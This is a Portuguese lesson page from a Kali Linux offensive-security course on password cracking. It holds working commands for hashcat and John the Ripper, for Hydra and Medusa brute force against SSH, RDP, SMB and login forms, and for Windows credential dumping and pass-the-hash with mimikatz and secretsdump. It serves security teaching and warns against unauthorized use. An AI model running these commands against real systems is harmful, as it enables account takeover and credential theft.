kb.erickguedes.com
Kali Linux: Ferramentas de Segurança Ofensiva

Senhas e Cracking

Aula 5 de 7

Password Cracking — Conceitos

Modos de Ataque

ModoDescriçãoVelocidadeEficácia
DictionaryTesta palavras de uma wordlistAltaMédia
Brute-forceTesta todas combinações possíveisBaixaAlta
Rule-basedAplica regras (leet, caps, números) à wordlistMédiaAlta
MaskTesta combinações com padrão conhecidoMédiaAlta
CombinatorCombina palavras de duas wordlistsMédiaMédia

John the Ripper

# Modo dictionary
john --wordlist=rockyou.txt hashes.txt

# Modo com regras (mutações da wordlist)
john --wordlist=rockyou.txt --rules hashes.txt

# Identificar formato do hash
john --list=formats

# Modo single crack (usa informações do usuário)
john --single hashes.txt

# Mostrar senhas já quebradas
john --show hashes.txt

# Formatos específicos
john --format=nt hashes.txt              # NTLM
john --format=sha512crypt hashes.txt     # Linux shadow SHA-512
john --format=bcrypt hashes.txt          # bcrypt
john --format=raw-md5 hashes.txt         # MD5

Hashcat

# Modo dictionary
hashcat -m 1000 -a 0 hashes.txt rockyou.txt    # NTLM (-m 1000)
hashcat -m 0 -a 0 hashes.txt rockyou.txt        # MD5 (-m 0)

# Modo com regras
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule

# Modo brute-force
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a   # 6 chars (todos caracteres)

# Modo mask (conhecendo padrão)
# ?l = letra minúscula, ?u = maiúscula, ?d = dígito, ?s = especial, ?a = todos
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?d?d?d?d  # Ex: Senha2024

# Modo combinator
hashcat -m 1000 -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Workload profile
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --force -w 4  # Máxima performance

# Show cracked
hashcat -m 1000 --show hashes.txt

Códigos de Hash (Modo -m)

CódigoHashUso
0MD5Geral
100SHA1Geral
1000NTLMWindows
1400SHA256Linux (chkpasswd)
1700SHA512Linux shadow
3200bcryptWeb apps
5500NetNTLMv1Windows networking
5600NetNTLMv2Windows networking
13100Kerberos 5 TGS-REPActive Directory
18200Kerberos 5 AS-REPAS-REP roasting

Wordlists

# Kali wordlists location
ls /usr/share/wordlists/

# rockyou (wordlist clássica)
# /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt    # ~14 milhões de senhas

# SecLists (coleção completa)
# https://github.com/danielmiessler/SecLists
git clone https://github.com/danielmiessler/SecLists.git

# Gerar wordlist com crunch
crunch 8 8 abcdef123456 -o wordlist.txt   # 8 chars, caracteres específicos
crunch 6 8 -t Pass@@@ -o wordlist.txt      # Pass + 3 caracteres

# Gerar wordlist de site com cewl
cewl https://exemplo.com -m 6 -w wordlist.txt  # Palavras com 6+ chars
cewl https://exemplo.com -d 3 -w wordlist.txt  # Depth 3 links

Hydra / Medusa (Online Brute Force)

Hydra

# SSH
hydra -l admin -P rockyou.txt 192.168.1.100 ssh
hydra -L users.txt -P senhas.txt ssh://192.168.1.100

# FTP
hydra -l anonymous -P rockyou.txt ftp://192.168.1.100
hydra -L users.txt -P senhas.txt ftp://192.168.1.100

# HTTP POST form
hydra -l admin -P rockyou.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:Login failed"

# RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.100

# SMB
hydra -l admin -P rockyou.txt smb://192.168.1.100

# MySQL
hydra -l root -P rockyou.txt mysql://192.168.1.100

Medusa

# Similar ao Hydra, multi-threaded
medusa -h 192.168.1.100 -u admin -P rockyou.txt -M ssh
medusa -H hosts.txt -U users.txt -P senhas.txt -M ftp -T 10

Windows Credentials

mimikatz

# Executar no host Windows comprometido
mimikatz.exe

# Comandos essenciais
privilege::debug                    # Habilitar privilégio SeDebugPrivilege
sekurlsa::logonpasswords            # Extrair senhas em texto claro (se disponível)
sekurlsa::wdigest                   # WDIGEST (se habilitado)
lsadump::sam                        # Extrair hashes SAM
lsadump::lsa /patch                 # Extrair hashes LSA (contas domínio)
sekurlsa::tickets /export           # Exportar tickets Kerberos

# Pass-the-Hash (autenticar com hash NTLM sem senha)
sekurlsa::pth /user:Administrator /domain:exemplo /ntlm:HASH

secretsdump (Impacket)

# Extrair hashes remotamente (sem executar binário no alvo)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump [email protected] -hashes :NTLM_HASH

samdump2

# Extrair hashes do SAM offline
samdump2 SYSTEM SAM > hashes.txt

Identificação de Hashes

# hashid — identifica tipo de hash
hashid '$1$abc123$xxxxxxxxxxxxxx'
# $1$ = MD5 crypt (Linux)

hashid '$2y$10$xxxxxxxxxxxx'
# $2y$ = bcrypt

hashid hash_exemplo.txt

# hash-identifier (alternativa)
hash-identifier

Lab: Cracking na Prática

# 1. Gerar hash de teste (Linux)
echo -n "Admin123" | md5sum | cut -d' ' -f1 > hash.txt

# 2. Identificar o hash
hashid hash.txt

# 3. Crack com hashcat
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# 4. Teste online com Hydra (SSH local)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1

# 5. Extrair hashes Windows (offline)
# samdump2 SYSTEM SAM > hashes.txt
# john --format=nt hashes.txt --wordlist=rockyou.txt

Cracking de senhas é uma combinação de wordlists de qualidade + regras inteligentes. RockYou é o ponto de partida. Use hashcat para GPU (milhões de hashes/s). Nunca faça brute-force online sem autorização.